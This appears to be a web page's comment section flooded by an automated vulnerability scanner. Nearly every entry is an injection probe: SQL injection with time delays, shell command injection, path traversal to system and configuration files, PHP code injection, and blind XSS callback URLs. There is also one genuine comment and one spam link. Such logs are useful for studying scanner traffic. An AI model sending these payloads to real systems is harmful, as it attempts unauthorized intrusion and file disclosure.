88952634:

88952634'

dkipbpvf:

response.write(9348990*9406503)

dkipbpvf:

'+response.write(9348990*9406503)+'

dkipbpvf:

"+response.write(9348990*9406503)+"

response.write(9770766*9425157):

1

'+response.write(9770766*9425157)+':

1

"+response.write(9770766*9425157)+":

1

hwaclbhr:

set|set&set

oxlpsltw:

RQWyOqQq

hwaclbhr:

'set|set&set'

hwaclbhr:

"set|set&set"

hwaclbhr:

set|set&set

4OhBFrJQ:

1

hwaclbhr:

`set|set&set`

hwaclbhr:

print `env`

hwaclbhr:

;set|set&set;

isdnnonx:

1

gjvmfpyn:

../../../../../../../../../../windows/win.ini

gjvmfpyn:

../../../../../../../../../../boot.ini

isdnnonx:

lyluoeix:

1

isdnnonx:

12345'"\'\");|]*

gjvmfpyn:

../../../../../../../../../../windows/win.ini

lyluoeix:

1

無業游民:

設計得不錯，贊一個

Mark:

5Vv0k7 http://www.y7YwKx7Pm6OnyJvolbcwrWdoEnRF29pb.com

88952634:

88952634

88952634'`"(:

88952634

88952634:

88952634

88952634'`"(:

88952634

88952634-0:

88952634

88952634-0:

88952634

88952634s3:

88952634

88952634s3:

88952634

88952634'+':

88952634

88952634'+':

88952634

88952634':

88952634

88952634':

88952634

88952634'||':

88952634

88952634'||':

88952634

88952634':

88952634

88952634':

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

88952634:

88952634

kmuyobey:

1

88952634:

88952634

tajgbjee:

1

88952634:

88952634'`"(

88952634:

88952634'`"(

88952634:

88952634-0

88952634:

88952634-0

88952634:

88952634s3

88952634:

88952634s3

88952634:

88952634'+'

88952634:

88952634'+'

88952634:

88952634'

88952634:

88952634'

88952634:

88952634'||'

88952634:

88952634'||'

88952634:

88952634'

kgtfcytr:

'set|set&set'

kgtfcytr:

"set|set&set"

kgtfcytr:

set|set&set

kgtfcytr:

`set|set&set`

kgtfcytr:

print `env`

kgtfcytr:

;set|set&set;

gwspbbwf:

1

gwspbbwf:

gwspbbwf:

12345'"\'\");|]*

gwspbbwf:

isdnnonx:

lyluoeix:

ROSVnFr3

gjvmfpyn:

喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟windows蠟win.ini

gjvmfpyn:

................windowswin.ini

gjvmfpyn:

..\..\..\..\..\..\..\..\windows\win.ini

lyluoeix:

-1 OR 2+997-997-1=0+0+0+1 --

lyluoeix:

-1 OR 2+831-831-1=0+0+0+1

gjvmfpyn:

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

lyluoeix:

-1' OR 2+561-561-1=0+0+0+1 --

gjvmfpyn:

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

gjvmfpyn:

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

lyluoeix:

-1' OR 2+581-581-1=0+0+0+1 or 'hapsx8hv'='

gjvmfpyn:

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

lyluoeix:

-1" OR 2+564-564-1=0+0+0+1 --

lyluoeix:

if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

set|set&set:

1

lyluoeix:

(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

gjvmfpyn:

WEB-INF/web.xml?

'set|set&set':

1

lyluoeix:

-1; waitfor delay '0:0:9' --

"set|set&set":

1

gjvmfpyn:

WEB-INF\web.xml?

lyluoeix:

-1); waitfor delay '0:0:3' --

isdnnonx:

1

gjvmfpyn:

/WEB-INF/web.xml?

set|set&set :

1

lyluoeix:

-1)); waitfor delay '0:0:3' --

12345'"\'\");|]*:

1

`set|set&set`:

1

lyluoeix:

tt6SKBlJ'; waitfor delay '0:0:6' --

print `env`:

1

lyluoeix:

QdcPCftc'); waitfor delay '0:0:6' --

;set|set&set;:

1

lyluoeix:

qEanJt8L')); waitfor delay '0:0:6' --

lyluoeix:

1 waitfor delay '0:0:3' --

lyluoeix:

-1;select pg_sleep(6); --

lyluoeix:

-1);select pg_sleep(9); --

lyluoeix:

-1));select pg_sleep(9); --

lyluoeix:

cmINXhtF';select pg_sleep(9); --

lyluoeix:

1q8pcKFD');select pg_sleep(9); --

lyluoeix:

byEpyiMh'));select pg_sleep(3); --

pwxefumi:

${9999521+9999439}

${9999699+10000180}:

1

kcmyrprn:

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

YnFPQjZpaGM=:

1

kcmyrprn:

1some_inexistent_file_with_long_name

kcmyrprn:

Http://testasp.vulnweb.com/t/fit.txt

kcmyrprn:

http://testasp.vulnweb.com/t/fit.txt?.jpg

atvcuwhv:

1&n962417=v996307

kcmyrprn:

testasp.vulnweb.com

igmgoshf&n975959=v918934:

1

vcpeboob:

)

../../../../../../../../../../windows/win.ini:

1

vcpeboob:

!(()&&!|*|*|

../../../../../../../../../../boot.ini:

1

vcpeboob:

^(#$!@#$)(()))******

../../../../../../../../../../windows/win.ini:

1

喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟windows蠟win.ini:

1

................windowswin.ini:

1

..\..\..\..\..\..\..\..\windows\win.ini:

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini:

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini:

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg:

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini:

1

1some_inexistent_file_with_long_name:

1

):

1

Http://testasp.vulnweb.com/t/fit.txt:

1

!(()&&!|*|*|:

1

WEB-INF/web.xml?:

1

http://testasp.vulnweb.com/t/fit.txt?.jpg:

1

^(#$!@#$)(()))******:

1

WEB-INF\web.xml?:

1

testasp.vulnweb.com:

1

/WEB-INF/web.xml?:

1

eilosgaf:

eilosgaf:

'"()

oguheunc:

;print(md5(acunetix_wvs_security_test));

babmwqfm:

http://testasp.vulnweb.com/t/xss.html?%00.jpg

oguheunc:

${@print(md5(acunetix_wvs_security_test))}

http://testasp.vulnweb.com/t/xss.html?%00.jpg:

1

'"():

1

oguheunc:

${@print(md5(acunetix_wvs_security_test))}\

oguheunc:

';print(md5(acunetix_wvs_security_test));$a='

oguheunc:

";print(md5(acunetix_wvs_security_test));$a="

lyluoeix:

1

cxuyahnk:

1

lyluoeix:

1

cxuyahnk:

comments.asp

wYwTZSf9:

1

xxrblptb:

http://hitC7Q5SJHMjG.bxss.me/

cxuyahnk:

comments.asp

-1 OR 2+37-37-1=0+0+0+1 -- :

1

cxuyahnk:

comments.asp/.

-1 OR 2+517-517-1=0+0+0+1:

1

-1' OR 2+773-773-1=0+0+0+1 -- :

1

-1' OR 2+572-572-1=0+0+0+1 or 'IMsobnCQ'=':

1

http://hitGGUHPHfHKB.bxss.me/:

1

-1" OR 2+11-11-1=0+0+0+1 -- :

1

;print(md5(acunetix_wvs_security_test));:

1

if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/:

1

';print(md5(acunetix_wvs_security_test));$a=':

1

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/:

1

";print(md5(acunetix_wvs_security_test));$a=":

1

dxfbghte:

1

1 waitfor delay '0:0:6' -- :

1

gbayaati:

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

9InJrW7x'; waitfor delay '0:0:6' -- :

1

${@print(md5(acunetix_wvs_security_test))}:

1

vlCYFwUh'); waitfor delay '0:0:6' -- :

1

${@print(md5(acunetix_wvs_security_test))}\:

1

dxfbghte:

1

LIxj7fLi')); waitfor delay '0:0:9' -- :

1

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):

1

dxfbghte:

1'"

cxuyahnk:

1

jQrv4GO3';select pg_sleep(9); -- :

1

comments.asp:

1

dxfbghte:

\

opuTXkRB');select pg_sleep(9); -- :

1

dxfbghte:

1

tZH7Mocq'));select pg_sleep(9); -- :

1

dxfbghte:

@@uxSAV

comments.asp/.:

1

comments.asp:

1

dxfbghte:

JyI=

dxfbghte:

??

kvjufvmc:

/www.vulnweb.com

dxfbghte:

?'?"

/www.vulnweb.com:

1

reoffyor:

'"

reoffyor: